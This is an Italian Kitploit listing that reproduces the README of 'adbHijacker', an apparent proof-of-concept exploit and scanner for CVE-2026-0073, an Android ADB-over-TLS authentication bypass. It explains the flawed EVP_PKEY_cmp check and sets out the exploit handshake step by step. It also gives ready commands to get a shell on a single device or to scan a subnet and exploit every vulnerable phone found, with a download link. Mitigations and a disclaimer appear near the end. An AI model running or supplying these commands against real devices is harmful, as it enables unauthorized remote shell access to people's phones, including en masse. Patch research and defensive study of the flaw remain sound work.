Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
adbHijacker — Uno strumento PoC per la CVE-2026-0073 su dispositivi Android 11+ che consente un RCE istantaneo zero click su qualsiasi dispositivo non patchato con adb over tcp abilitato. | Kitploit
Strumenti/GitHubGitHub/unnaim/adbhijacker
Sicurezza AndroidRicognizioneAnalisi delle VulnerabilitàExploitSicurezza di RetePenetration TestingSicurezza MobileStrumento di Accesso Remoto
GitHubunnaim/adbhijacker

adbHijacker

Uno strumento PoC per la CVE-2026-0073 su dispositivi Android 11+ che consente un RCE istantaneo zero click su qualsiasi dispositivo non patchato con adb over tcp abilitato.

Vedi Repository
72204 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-0073 — Bypass dell'autenticazione TLS ADB su Android

Una proof-of-concept di exploit e uno scanner di rete per CVE-2026-0073, una vulnerabilità critica di esecuzione remota di codice zero-click e senza interazione nel percorso di autenticazione ADB-over-TCP di adbd su Android.

La vulnerabilità è un bug logico in adbd_tls_verify_cert() (daemon/auth.cpp) dove EVP_PKEY_cmp() viene trattato come un predicato booleano. Quando una chiave RSA memorizzata viene confrontata con un certificato client TLS non-RSA (EC P-256 o Ed25519), l'API restituisce -1 (mancata corrispondenza di tipo), che è truthy in C/C++. Questo promuove una mancata corrispondenza tra algoritmi in una corrispondenza riuscita della chiave host — bypassando completamente l'autenticazione.

Dettagli tecnici ottenuti da BARGHEST.
Codice PoC di base proveniente da SecTestAnnaQuinn.
Corretto nel bollettino di sicurezza Android — maggio 2026.


Impatto

Dal contesto shell un attaccante può ispezionare le proprietà di sistema, lo stato dei processi, i log, le notifiche; installare e rimuovere pacchetti; usare run-as contro applicazioni debuggabili; e preparare sfruttamenti successivi.


File

FileScopo
adb_tls_auth_bypass.pyPoC di exploit per singolo target (originale di SecTestAnnaQuinn, corretto per checksum)
adbt_scanner.pyScanner di rete — rileva dispositivi vulnerabili + li sfrutta
requirements.txtDipendenze Python

Prerequisiti (dispositivo target)

Affinché l'exploit abbia successo, il dispositivo Android target deve avere:

  1. Opzioni sviluppatore abilitate
  2. Debug wireless o ADB-over-TCP abilitato (il servizio TCP adbd della piattaforma)
  3. Almeno una chiave host RSA precedentemente associata in /data/misc/adb/adb_keys
  4. Raggiungibilità di rete verso la porta TCP ADB (predefinita 5555)

Configurazione

root@kitploit:~
# Crea l'ambiente virtuale
uv venv

# Attivalo
source .venv/bin/activate

# Installa le dipendenze
uv pip install -r requirements.txt

Dipendenze:

Lo scanner degrada con grazia quando i pacchetti opzionali mancano — avviserà e ripiegherà su metodi alternativi (comando ip di sistema, nmap, scansione di connessione TCP).


Utilizzo

Modalità 0 — Exploit diretto su singolo target

Attacca direttamente un dispositivo vulnerabile noto.

root@kitploit:~
python3 adb_tls_auth_bypass.py 192.168.1.42              # shell interattiva
python3 adb_tls_auth_bypass.py 192.168.1.42 5555 --cmd "id"

Oppure tramite lo scanner:

root@kitploit:~
python3 adbt_scanner.py --host 192.168.1.42                # shell interattiva
python3 adbt_scanner.py --host 192.168.1.42 --cmd "id; getprop ro.product.model"
python3 adbt_scanner.py --host 192.168.1.42 --port 5580 --cmd "whoami"

Modalità 1 — Scansiona la rete, identifica, sfrutta

Scansiona la rete locale per dispositivi vulnerabili e sfrutta tutti i target confermati.

root@kitploit:~
# Scansione completa: mDNS → ARP → scansione porte → probe ADB → exploit
python3 adbt_scanner.py --scan

# Esegui un comando specifico su tutti i dispositivi vulnerabili
python3 adbt_scanner.py --scan --cmd "id; getprop ro.build.version.security_patch"

# Solo ricognizione — rileva ma non sfruttare
python3 adbt_scanner.py --scan --no-exploit

# Scansiona più porte
python3 adbt_scanner.py --scan --ports 5555,5580,5037

# Sovrascrivi la sottorete rilevata (host multi-homed, intervalli specifici)
python3 adbt_scanner.py --scan --subnet 192.168.2.0/24

# Regola i timeout per reti lente
python3 adbt_scanner.py --scan --connect-timeout 5 --probe-timeout 10

# Estendi la finestra di ascolto mDNS
python3 adbt_scanner.py --scan --mdns-timeout 60

# Salta fasi di rilevamento specifiche
python3 adbt_scanner.py --scan --no-mdns    # salta mDNS, solo ARP
python3 adbt_scanner.py --scan --no-arp     # salta ARP, solo mDNS

Riferimento CLI dello scanner

root@kitploit:~
--scan                    Scansiona la rete per dispositivi vulnerabili + sfrutta
--host HOST               Exploit diretto su singolo target
--port PORT               Porta ADB per la modalità --host (predefinita: 5555)
--cmd COMMAND             Comando shell da eseguire
-v, --verbose             Logging dettagliato

--mdns-timeout SECONDS    Durata di ascolto mDNS (predefinita: 30)
--ports PORTS             Porte separate da virgole in modalità --scan (predefinita: 5555)
--subnet CIDR             Sovrascrivi la sottorete rilevata (es. 192.168.2.0/24)
--connect-timeout SECONDS Timeout di connessione TCP (predefinito: 2.0)
--probe-timeout SECONDS   Timeout del probe ADB (predefinito: 3.0)
--arp-timeout SECONDS     Timeout dello sweep ARP (predefinito: 3)
--no-mdns                 Salta il rilevamento mDNS
--no-arp                  Salta lo sweep ARP + scansione porte
--no-exploit              Fermati dopo la fase di probe del protocollo ADB

Pipeline di rilevamento

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│ 1. Rilevamento sottorete — netifaces → ip route → trucco socket │
│ 2. Listener mDNS        — _adb-tls-connect._tcp (30s predefinito) │
│ 3. Sweep ARP            — scapy.arping → nmap -sn             │
│ 4. Scansione porte      — connessione TCP a ogni host:porta   │
│ 5. Probe protocollo ADB — invia CNXN, classifica la risposta  │
│                                                             │
│    STLS   → VULNERABILE (procedi all'exploit)                │
│    AUTH   → autenticazione ADB legacy (non questa CVE)       │
│    CNXN   → aperto, nessuna autenticazione (già accessibile) │
│    NO_ADB → non è un servizio ADB                            │
│                                                             │
│ 6. Sfruttamento         — upgrade TLS → bypass autenticazione → shell │
└─────────────────────────────────────────────────────────────┘

mDNS è il metodo di identificazione più accurato: quando il debug wireless è associato, Android trasmette esplicitamente _adb-tls-connect._tcp. Lo sweep ARP + la scansione delle porte funge da ripiego catch-all.


Meccanica dell'exploit

root@kitploit:~
Fase 1 — ADB in chiaro
  Client → CNXN(payload="host::features=...")
  Device → STLS  (upgrade a TLS richiesto)

Fase 2 — TLS 1.3 con certificato client cross-algoritmo
  Client → risposta STLS
  Client → handshake TLS 1.3 + certificato client EC P-256
  Device chiama adbd_tls_verify_cert():
    known_evp = chiave RSA da /data/misc/adb/adb_keys
    evp_pkey  = chiave EC P-256 dal certificato client
    EVP_PKEY_cmp(known_evp, evp_pkey) → -1 (mancata corrispondenza di tipo)
    if (-1) → verified = true   ← BUG: -1 è truthy

Fase 3 — Livello servizio ADB post-TLS
  Client drena il CNXN del dispositivo (trasporto già online)
  Nessun CNXN host inviato (attiverebbe il kick di handle_new_connection)
  Client → OPEN(local_id, window=32MB, payload="shell:\x00")
  Device → OKAY  → stream shell stabilito

Modello di minaccia

Esposizione diretta di rete

  • Debug wireless lasciato abilitato su una rete non affidabile (bar, ufficio, conferenza)
  • ADB esposto a Internet sulla porta 5555 (oltre 10.000 dispositivi osservati solo in Corea durante la ricerca sull'esposizione)

Creazione dello stato assistita da malware

  • Il malware sul dispositivo usa il servizio di Accessibilità per abilitare le opzioni sviluppatore, attivare il debug wireless e associare una chiave host — preparando il dispositivo per lo sfruttamento remoto da parte di un peer di rete

Limitazioni

  • Non root. L'exploit fornisce un contesto shell (uid=2000). Il compromesso del kernel, l'accesso root e le chiavi del keystore supportate da hardware richiedono un'elevazione aggiuntiva.
  • Richiede una chiave associata. Il target deve avere almeno una chiave host RSA in /data/misc/adb/adb_keys. Un dispositivo appena resettato con debug wireless abilitato ma mai associato non è vulnerabile.
  • Richiede il percorso STLS. I dispositivi che servono ADB su TCP tramite meccanismi legacy (non-TLS) rispondono con AUTH, non STLS, e non sono interessati da questa CVE.
  • I dispositivi corretti sono immuni. Il bollettino di sicurezza Android di maggio 2026 include una correzione che modifica il controllo EVP_PKEY_cmp per richiedere un valore di ritorno esattamente == 1.

Mitigazione

  • Applica la Patch.
  • Disabilita le opzioni sviluppatore quando non sono attivamente necessarie.
  • Disabilita il debug wireless.
  • Non esporre ADB oltre la tua rete locale affidabile.

Riferimenti

  • Bollettino di sicurezza Android — maggio 2026
  • Analisi tecnica di BARGHEST
  • Riconoscimenti Android
  • Commit BoringSSL — normalizzazione del valore di ritorno di EVP_PKEY_cmp
  • Rapporto spyware Morpheus — Osservatorio Nessuno
  • MESH — strumento di sicurezza Android di BARGHEST

Dichiarazione di esclusione di responsabilità

Questo software è fornito esclusivamente per scopi educativi e di ricerca sulla sicurezza autorizzata. Gli strumenti e il codice in questo repository sono intesi ad aiutare professionisti della sicurezza, ricercatori e proprietari di dispositivi:

  • A comprendere come funziona CVE-2026-0073 a livello di protocollo
  • A verificare e valutare i propri dispositivi e reti
  • A sviluppare e testare mitigazioni

Non devi usare questo software:

  • Contro qualsiasi dispositivo o rete che non possiedi o per cui non hai esplicita autorizzazione scritta per il test
  • Per qualsiasi scopo illecito o in violazione delle leggi applicabili
  • Per accedere, modificare o esfiltrare dati senza autorizzazione

L'accesso non autorizzato a sistemi informatici è illegale nella maggior parte delle giurisdizioni e può comportare sanzioni penali e civili. Gli autori e i contributori non si assumono alcuna responsabilità per uso improprio, danni o conseguenze legali derivanti dall'uso di questo software.

Usa in modo responsabile. Conosci il tuo target. Ottieni il permesso.


Licenza

CC0 1.0 Universal — Nessun diritto riservato.

Nella misura consentita dalla legge, gli autori hanno rinunciato a tutti i diritti d'autore e ai diritti correlati o vicini a questo lavoro.

Scarica lo strumento
AttributoDettaglio
Vettore di attaccoRete (adiacente / prossimale)
InterazioneNessuna (zero-click)
Privilegio ottenutoutente shell (uid=2000), SELinux u:r:shell:s0
Primitiva di exploitAccesso remoto alla shell tramite ADB
CVSSCritico (9.8)
PacchettoUsato daRichiesto?
cryptographyEntrambi gli script (generazione certificato EC, TLS)Sì
netifacesScanner (rilevamento sottorete)Preferito
zeroconfScanner (rilevamento mDNS)Preferito
scapyScanner (sweep ARP)Preferito